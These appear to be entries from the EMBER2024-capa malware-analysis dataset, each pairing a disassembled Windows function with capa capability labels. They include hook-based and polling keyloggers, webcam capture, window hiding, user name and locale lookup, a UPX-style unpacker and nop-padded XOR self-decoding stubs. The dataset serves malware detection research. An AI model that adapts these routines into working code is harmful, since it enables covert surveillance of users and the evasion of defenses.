joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458fd4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45917f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x459160
mov dl, 1
mov eax, dword [0x41324c]
call fcn.004034d4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404290
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45914f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00446cf4
test al, al
je 0x459142
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x459190
lea eax, [ebp - 0x254]
call fcn.004093c0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x459142
xor eax, eax
push ebp
push 0x45913b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4591c8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x459124
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404500
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x459124
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404500
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459142
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x459045
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00417640
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459186
lea eax, [ebp - 0x260]
call fcn.00404290
ret

Function at 0x459ac8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x497be4]
cmp byte [eax + 0xa5], 0
jne 0x459b39
cmp dword [0x497bfc], 0
jne 0x459afa
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x459a84
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x497bfc], eax
cmp dword [0x497bf8], 0
jne 0x459b15
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x497bf8], eax
cmp dword [0x497c00], 0
jne 0x459b39
push esp
push 0
push 0
push 0x459a28
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x497c00], eax
pop edx
ret
Function at 0x45a1cc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x497be4]
cmp dword [eax + 0x30], 0
je 0x45a276
cmp dword [ebx + 0x94], 0
jne 0x45a270
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45a15c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45a270
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45a236
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45a270
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004152c0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45a245
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45add4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45ae09
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404380
jmp 0x45ae16
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042e4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45bfb8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45bff9
mov eax, esi
call fcn.00442298
test al, al
je 0x45bff9
mov eax, dword [ebx + 0x84]
call fcn.00441f94
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45bff9
push 0
mov eax, dword [ebx + 0x84]
call fcn.00441f94
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45c958
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x45c9de
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push edi
push esi
call sub.kernel32.dll_GetLocaleInfoA_1
mov ebx, eax
test ebx, ebx
jne 0x45c999
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.004042e4
jmp 0x45c9c8
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004048dc
push ebx
mov eax, dword [ebp - 8]
call fcn.00404750
push eax
push edi
push esi
call sub.kernel32.dll_GetLocaleInfoA_1
mov eax, dword [ebp + 8]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004047b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c9e5
lea eax, [ebp - 8]
call fcn.00404290
ret
Function at 0x461da0
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x461ec1
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetVersion_1
mov edx, dword [0x496ab4]
mov dword [edx], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x496ab4]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x461ed8
call fcn.00409458
mov eax, dword [ebp - 4]
call fcn.004788ec
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x496880]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, dword [0x496a7c]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x461ef4
call fcn.00409458
mov eax, dword [ebp - 0x10]
call fcn.004788ec
call sub.kernel32.dll_GetCurrentThreadId_1
mov esi, eax
push esi
push 0
push 0x4619bc
push 5
call sub.user32.dll_SetWindowsHookExA
mov dword [ebx + 0x1c], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x461f14
call fcn.00409458
mov eax, dword [ebp - 0x24]
call fcn.004788ec
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x461f2c
call fcn.00409458
mov eax, dword [ebp - 0x28]
call fcn.004788ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461ec8
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004042b4
lea eax, [ebp - 0x10]
call fcn.00404290
lea eax, [ebp - 4]
call fcn.00404290
ret

Function at 0x469a60
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x469a96
jmp 0x469b3c
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x469ada
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x144], 0
je 0x469ada
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x144]
mov eax, dword [eax + 0x14]
jmp 0x469aea
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x140]
test edx, edx
je 0x469aea
mov eax, dword [edx + 0x14]
test eax, eax
je 0x469b03
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004672cc
jmp 0x469b3c
mov dl, 1
mov eax, dword [0x41d270]
call fcn.0041f1d8
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.0041f930
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xac]
mov eax, dword [esi + 0x10]
call fcn.0041ed88
mov edx, esp
mov eax, esi
call fcn.0041f5b0
mov eax, esi
call fcn.00403504
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x46b6fc
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.00441f94
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x264], 0
pop ebx
ret
Function at 0x46ef34
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.0045245c
mov ebx, eax
mov dx, word [esi + 4]
mov eax, ebp
call fcn.0046ec5c
mov edi, eax
test edi, edi
je 0x46ef81
mov al, byte [0x46efc4]
cmp al, bl
jne 0x46ef81
mov edx, edi
mov eax, ebp
call fcn.0046ec04
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x46efb7
cmp byte [ebp + 0x165], 2
jne 0x46efaa
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x496b1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x4c]
mov edx, 0xb006
call fcn.0043c84c
test eax, eax
jne 0x46efb7
xor eax, eax
mov dword [esi + 0xc], eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x472664
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x47271e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040499c
mov eax, dword [0x4967bc]
cmp byte [eax], 0
je 0x4726d3
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00404cac
mov eax, dword [ebx]
call fcn.00404b28
push eax
mov eax, dword [ebx]
call fcn.00404b18
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00404b28
mov edx, eax
dec edx
mov eax, ebx
call fcn.00404cac
jmp 0x472705
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00408f40
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00404b08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x472725
lea eax, [ebp - 0x3f0]
call fcn.00404290
ret

Function at 0x47272c
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00408f40
add esp, 0x3ec
pop ebx
ret
Function at 0x473bb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
call fcn.0044d534
mov edi, eax
dec edi
test edi, edi
jl 0x473c63
inc edi
xor esi, esi
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0044d544
mov eax, dword [eax + 0xc]
sub eax, 1
jb 0x473bfa
je 0x473c1b
dec eax
je 0x473c3c
jmp 0x473c5b
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0044d544
cmp byte [ebx + 0x168], 0
setne dl
call fcn.0044d460
jmp 0x473c5b
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0044d544
cmp byte [ebx + 0x168], 1
setne dl
call fcn.0044d460
jmp 0x473c5b
mov eax, dword [ebx + 0xf8]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0044d544
cmp byte [ebx + 0x168], 2
setne dl
call fcn.0044d460
inc esi
dec edi
jne 0x473bdb
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x88]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x8c]
cdq
cmp edx, dword [esp + 4]
jne 0x473c88
cmp eax, dword [esp]
pop edx
pop eax
jae 0x473cf7
jmp 0x473c8c
pop edx
pop eax
jge 0x473cf7
mov eax, dword [0x496b1c]
mov eax, dword [eax]
mov dword [eax + 0x40], 2
mov esi, 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x88], eax
mov eax, dword [ebx + 0x13c]
test byte [eax + 0x4c], 4
je 0x473cd3
cmp byte [ebx + 0x165], 2
je 0x473cd3
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, dword [ebx + 0xf8]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x473d1c
push 0
mov eax, dword [ebx + 0x130]
push eax
push 0
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push esi
mov eax, dword [ebx + 0x108]
push eax
call sub.user32.dll_TrackPopupMenu
jmp 0x473d1c
cmp dword [ebx + 0x120], 0
je 0x473d1c
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.0042b6c8
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x130]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x47dac4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47dc35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x8c], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x47dc1a
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00408f40
mov dl, 1
mov eax, dword [0x45ffa4]
call fcn.0045fffc
mov edx, dword [ebp - 4]
mov dword [edx + 0x84], eax
mov dl, 1
mov eax, dword [0x41353c]
call fcn.004034d4
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x88]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.00460078
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x47dc17
mov dl, 1
mov eax, dword [0x460a74]
call fcn.00460adc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
mov edx, 0x47dc4c
call fcn.004603c4
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.0040459c
xor eax, eax
push ebp
push 0x47dc10
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00460ddc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0047dc54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47dc17
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x84]
call fcn.00403504
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.00403504
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.00403504
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47dc3c
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004042b4
ret
Function at 0x485218
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe54
xor edx, edx
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x485379
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xa4], 0x94
lea eax, [ebp - 0xa4]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x485263
cmp dword [ebp - 0x94], 1
je 0x485267
xor eax, eax
jmp 0x485269
mov al, 1
mov byte [ebp - 0xd], al
mov dl, 1
mov eax, dword [0x42c43c]
call fcn.0042c5a8
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x485354
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 8]
call fcn.0042c684
cmp byte [ebp - 0xd], 0
je 0x4852ab
mov edx, 0x48538c
mov eax, dword [ebp - 8]
call fcn.0042c810
jmp 0x4852b8
mov edx, 0x4853c0
mov eax, dword [ebp - 8]
call fcn.0042c810
lea ecx, [ebp - 0x1a8]
mov edx, 0x4853f8
mov eax, dword [ebp - 8]
call fcn.0042ca40
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 4]
add eax, 0x1c
call fcn.004042e4
lea ecx, [ebp - 0x1ac]
mov edx, 0x485410
mov eax, dword [ebp - 8]
call fcn.0042ca40
mov edx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 4]
add eax, 0x20
call fcn.004042e4
mov eax, dword [ebp - 8]
call fcn.0042c654
mov eax, dword [ebp - 4]
cmp dword [eax + 0x1c], 0
jne 0x48533e
mov dword [ebp - 0xc], 0xff
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1a4]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [ebp - 4]
add eax, 0x1c
lea edx, [ebp - 0x1a4]
mov ecx, pe_nt_image_headers32
call fcn.00404500
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48535b
mov eax, dword [ebp - 8]
call fcn.00403504
ret
Function at 0x40f520
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f542
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f549
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f538
mov eax, 1
add ebx, ebx
jne 0x40f55b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f550
jne 0x40f56c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f550
xor ecx, ecx
sub eax, 3
jb 0x40f580
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f5f2
mov ebp, eax
add ebx, ebx
jne 0x40f58b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f598
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f5bc
inc ecx
add ebx, ebx
jne 0x40f5a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f59d
jne 0x40f5b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f59d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f5dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f5cd
jmp 0x40f53e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f5dc
add edi, ecx
jmp 0x40f53e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f5fa
cmp byte [edi], 5
jne 0x40f5fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40f5ff
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f66e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10400]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x104b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f62c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x104b8]
or eax, eax
je 0x40f668
mov dword [ebx], eax
add ebx, 4
jmp 0x40f649
call dword [esi + 0x104c8]
mov ebp, dword [esi + 0x104bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40f6a2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40a873
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40a882
pop dword [ebp - 0x4c]
mov eax, 0x5f20080d
add eax, 0xa120a075
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x39057
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xbb2272fc
add ecx, 0x44ddd43f
xor esi, esi
add esi, eax
mov edx, 0xf05dea95
sub edx, 0xf01caed1
add edx, dword [ebp - 0x4c]
mov edi, 0x9970c444
add edi, 0x2a1489b4
sub dword [ebp - 0x20], esi
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0xdc16f8b2
xor ebx, edi
add dword [ebp - 0x3c], edx
mov dword [esi], ebx
add dword [ebp - 4], 0xef2fffeb
add esi, 0xd53a7fca
sub esi, 0xd53a7fc6
add edx, 0x458498bc
add edx, 0xba7b6748
loop 0x40a8de
add eax, 0x20481bde
add eax, 0xdfb8f3e1
mov ebx, eax
add eax, 0x772d216e
add eax, 0x88d2de97
mov ecx, 0x7845dedc
sub ecx, 0x7805dedc
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x7d0d0589
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x6d0245b8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219